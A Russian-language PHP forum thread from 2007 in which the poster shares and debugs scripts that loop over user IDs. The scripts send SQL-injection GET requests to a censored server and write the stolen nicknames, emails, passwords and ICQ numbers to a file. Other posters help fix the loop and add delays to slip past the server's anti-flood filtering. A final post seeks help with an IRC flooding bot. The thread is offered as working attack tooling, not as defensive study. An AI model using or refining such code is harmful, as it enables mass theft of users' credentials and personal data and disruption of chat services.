Значит, написал прогу, которая отправляет GET запрос с sql-inj на серв, выдирает пользовательские данные и записывает в файлик. Всё отлично! Все работает! Но...одно но! В базе пользователей дохрена(около 4к) Поэтому пытался сделать цикл for(бла-бла-бла) чтобы выцепить инфу всех, но вот хренотень случилась =) Не работает программа с циклом, выдирает лишь данные первого пользователся(тот который в for($i=1;$i<4000;$i++))...один раз вылетала ошибка пхп: мол "тваюмать, и че-то там с временем в 30 сек...". Потом прекратила, но лучше не стало.
ЗЫ ПоможИте чем можИте! =)
Друзья: Всё для вебмастера | [ Реклама на форуме ] |
![]() |
![]() |


Вопросики по PHP
Автор
AFoST
, 10 Aug 2007 12:32
#3
Отправлено 10 August 2007 - 13:41

#4
Отправлено 10 August 2007 - 18:34

Не судите строго, это мой первый опыт =) Короче, работает абсолютно всё, за исключением цикла... 
PS "break;" в моём случае завершает While или нет?

PS "break;" в моём случае завершает While или нет?
<? //open socket $fp = fsockopen("[censored]", 80, $errno, $errstr, 30); //open file for received information $fout=fopen("1.html","a+"); //hostname $host="[censored]"; //browser info бред $useragent="User-Agent: IE/89 (MAC 22 OS; U; MAC NT 1; ru; rv:2.55.1.22)"; for ($i=630;$i<650;$i++){ //adress sql-inj $addr="[censored]"; //request str $request= "GET $addr HTTP/1.0\r\n". "Host: $host\r\n". "Connection: Close\r\n\r\n"; fputs($fp, $request);//put request into socket while ($out = fgets ($fp, 2048)) { //while data is receiving from socket do... if(preg_match("/^.*info.*info.*$/",$out,$out,PREG_OFFSET_CAPTURE)){ //if preg_match=true do... list($cut1, $uid, $unick, $uemail, $upass, $uicq, $cut2)=explode("###",$out[0][0]);//write userinfo in variables $received= "ID:$uid UserNick:$unick Email:$uemail Password:$upass ICQ:$uicq <br>";//put userinfo on file fputs($fout,$received);//put info into file // break;//break "while" } } } fclose($fp);//close socket fclose($fout);//close output file ?>
#8
Отправлено 12 August 2007 - 17:36

AFoST
Ты файл в браузере открывал или блокнотом?
Понимаешь функция fgets(fread) считает символ \n концом строки.
А <br> это тег который показывает что показать в браузере конец что надо перевестись на новую строку.
Почитай лучше книги про пхп и всё станет ясно.
Если я не ошибаюсь, то нету. Ява работает на стороне клиента. А пхп на стороне сервера.
Ты файл в браузере открывал или блокнотом?
Понимаешь функция fgets(fread) считает символ \n концом строки.
А <br> это тег который показывает что показать в браузере конец что надо перевестись на новую строку.
Почитай лучше книги про пхп и всё станет ясно.
Цитата
Подскажите лучше в пхп аналог javascript"ового setTimeOut("js-code",time/ms); Уверен на 99% что в пхп такое есть! Думаю с таймером получится =)
Если я не ошибаюсь, то нету. Ява работает на стороне клиента. А пхп на стороне сервера.
#9
Отправлено 12 August 2007 - 19:50

chetman, не в этом смысле...Блин, я знаю, что ява-скрипт выполняется на клиенте, а пхп на сервере...Не в этом суть. Надо чтобы был цикл, чтобы прошла первая итерация, потом некоторая пауза(допустим 2 секунды), потом вторая итерация и тд...Чтобы GET запросы шли на сервер с некоторой паузой.
А вот с fgets спасибо!!! Но, лучше не стало
написал теперь так:
$received= "<b> ID:</b>$uid ".
"<b> UserNick:</b>$unick ".
"<b> Email:</b>$uemail ".
"<b> Password:</b>$upass ".
"<b> ICQ:</b>$uicq ".
"<br>\n";
И всё по-старому
И все же, мне кажется, на сервере стоит то ли антифлуд, то ли ещё что-нибудь, что фильтрует(блокирует) большое количество попыток соединения в короткий промежуток времени, поэтому и хочу попробовать отправку запросов с таймером...
А вот с fgets спасибо!!! Но, лучше не стало

$received= "<b> ID:</b>$uid ".
"<b> UserNick:</b>$unick ".
"<b> Email:</b>$uemail ".
"<b> Password:</b>$upass ".
"<b> ICQ:</b>$uicq ".
"<br>\n";
И всё по-старому

И все же, мне кажется, на сервере стоит то ли антифлуд, то ли ещё что-нибудь, что фильтрует(блокирует) большое количество попыток соединения в короткий промежуток времени, поэтому и хочу попробовать отправку запросов с таймером...
#10
Отправлено 13 August 2007 - 05:13

Цитата
Надо чтобы был цикл, чтобы прошла первая итерация, потом некоторая пауза(допустим 2 секунды), потом вторая итерация и тд...Чтобы GET запросы шли на сервер с некоторой паузой.
ну тогда sleep(указываешь сколько секунд) или usleep(то же самое только в микросекундах)
#11
Отправлено 15 August 2007 - 10:56

Вот чёрт! sleep() не помог =( ... Проанализировал, всё, что написал ещё раз, понял где ошибка. Проблема с сокетами. При первой итерации запись/считывание из сокета происходит без проблем, а вот при второй и далее не могу ничего из него прочитать! Как решить проблему, так и не пойму... Возможно при каждом новом запросе нужно создавать новый сокет?! Какие есть варианты решения!?
#12
Отправлено 20 August 2007 - 19:48

Подправил код...А точнее все нафиг переписал заново. Теперь работает =)
Цитата
<?php
//уведомления об ошибках
//____________________
error_reporting(E_ALL);
//инициализуем переменные
//____________________
$port = 80;
$host = "some_host";
$fout=fopen("somefile.html","a+");
//цикл
//____________________
for ($i=1;$i<50;$i++){
//Change $addr
//____________________
$addr="some get-запрос".$i."/*";
//create socket
//____________________
if(!$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP))
echo "ERROR!!! Socket not created!!! Reason: ".socket_strerror($socket)."\r\n";
else
echo "\r\n\r\nSocket created.\r\n";
//Trying to connect...
//____________________
echo "Trying to connect to ".$host." in a port: ".$port."\r\n";
if(!$result=socket_connect($socket,$host,$port))
echo "ERROR!!! Socket not connected!!! Reason: ".socket_strerror($socket)."\r\n";
else
echo "Socket connected...\r\n";
echo "\r\n\r\n ITERATION: ".$i."\r\n\r\n";
$request=
"GET ".$addr." HTTP/1.0\r\n".
"UserAgent: none\r\n".
"Referer: none\r\n".
"Host: ".$host."\r\n".
"Keep-Alive: timeout:14\r\nn".
"Connection: Keep-Alive\r\n\r\n";
echo $request."\n\r\n\r\n\r\n\r\n";
//sending request
//____________________
socket_write($socket, $request, strlen($request));
//Receiving data...
//____________________
while($rec=socket_read($socket,2048)) {
echo $rec;
if(preg_match("/.*info.*info.*/",$rec,$out,PREG_OFFSET_CAPTURE)){ //if preg_match=true do...
list($cut1, $uid, $unick, $uemail, $upass, $uicq, $cut2)=explode("###",$out[0][0]);//write userinfo in variables
$received= "<b> ID:</b>$uid ". //
"<b> UserNick:</b>$unick ". //
"<b> Email:</b>$uemail ". //Formating received data
"<b> Password:</b>$upass ". //
"<b> ICQ:</b>$uicq ". //
"<br>\r\n"; //
echo $received;
fputs($fout,$received);//put info into file
break;
}//if
}//while
sleep(120);
}//for
//closing socket...
//____________________
socket_close($socket);
//closing $fout file
fclose($fout);
?>
//уведомления об ошибках
//____________________
error_reporting(E_ALL);
//инициализуем переменные
//____________________
$port = 80;
$host = "some_host";
$fout=fopen("somefile.html","a+");
//цикл
//____________________
for ($i=1;$i<50;$i++){
//Change $addr
//____________________
$addr="some get-запрос".$i."/*";
//create socket
//____________________
if(!$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP))
echo "ERROR!!! Socket not created!!! Reason: ".socket_strerror($socket)."\r\n";
else
echo "\r\n\r\nSocket created.\r\n";
//Trying to connect...
//____________________
echo "Trying to connect to ".$host." in a port: ".$port."\r\n";
if(!$result=socket_connect($socket,$host,$port))
echo "ERROR!!! Socket not connected!!! Reason: ".socket_strerror($socket)."\r\n";
else
echo "Socket connected...\r\n";
echo "\r\n\r\n ITERATION: ".$i."\r\n\r\n";
$request=
"GET ".$addr." HTTP/1.0\r\n".
"UserAgent: none\r\n".
"Referer: none\r\n".
"Host: ".$host."\r\n".
"Keep-Alive: timeout:14\r\nn".
"Connection: Keep-Alive\r\n\r\n";
echo $request."\n\r\n\r\n\r\n\r\n";
//sending request
//____________________
socket_write($socket, $request, strlen($request));
//Receiving data...
//____________________
while($rec=socket_read($socket,2048)) {
echo $rec;
if(preg_match("/.*info.*info.*/",$rec,$out,PREG_OFFSET_CAPTURE)){ //if preg_match=true do...
list($cut1, $uid, $unick, $uemail, $upass, $uicq, $cut2)=explode("###",$out[0][0]);//write userinfo in variables
$received= "<b> ID:</b>$uid ". //
"<b> UserNick:</b>$unick ". //
"<b> Email:</b>$uemail ". //Formating received data
"<b> Password:</b>$upass ". //
"<b> ICQ:</b>$uicq ". //
"<br>\r\n"; //
echo $received;
fputs($fout,$received);//put info into file
break;
}//if
}//while
sleep(120);
}//for
//closing socket...
//____________________
socket_close($socket);
//closing $fout file
fclose($fout);
?>
#13
Отправлено 29 August 2007 - 18:44

Такой вопрос. Пишу флудер для ирц на пхп. Есть такая конструкция:
Как сделать, чтобы бот флудил и одновременно читал поступающую информацию из сокета!? Т.е. чтобы его можно было заткнуть.
Цитата
while ($body=socket_read($socket,1024)){
#start flooding
if (preg_match("/[^.]!flood/",$body,$matches)){
$flooding=true;
}
#stop flooding
if (preg_match("/[^.]!stopflood/",$body,$matches)){
$flooding=false;
}
if ($flooding){
flood($socket,$channel);
}
}
#start flooding
if (preg_match("/[^.]!flood/",$body,$matches)){
$flooding=true;
}
#stop flooding
if (preg_match("/[^.]!stopflood/",$body,$matches)){
$flooding=false;
}
if ($flooding){
flood($socket,$channel);
}
}
Количество пользователей, читающих эту тему: 0
0 пользователей, 0 гостей, 0 анонимных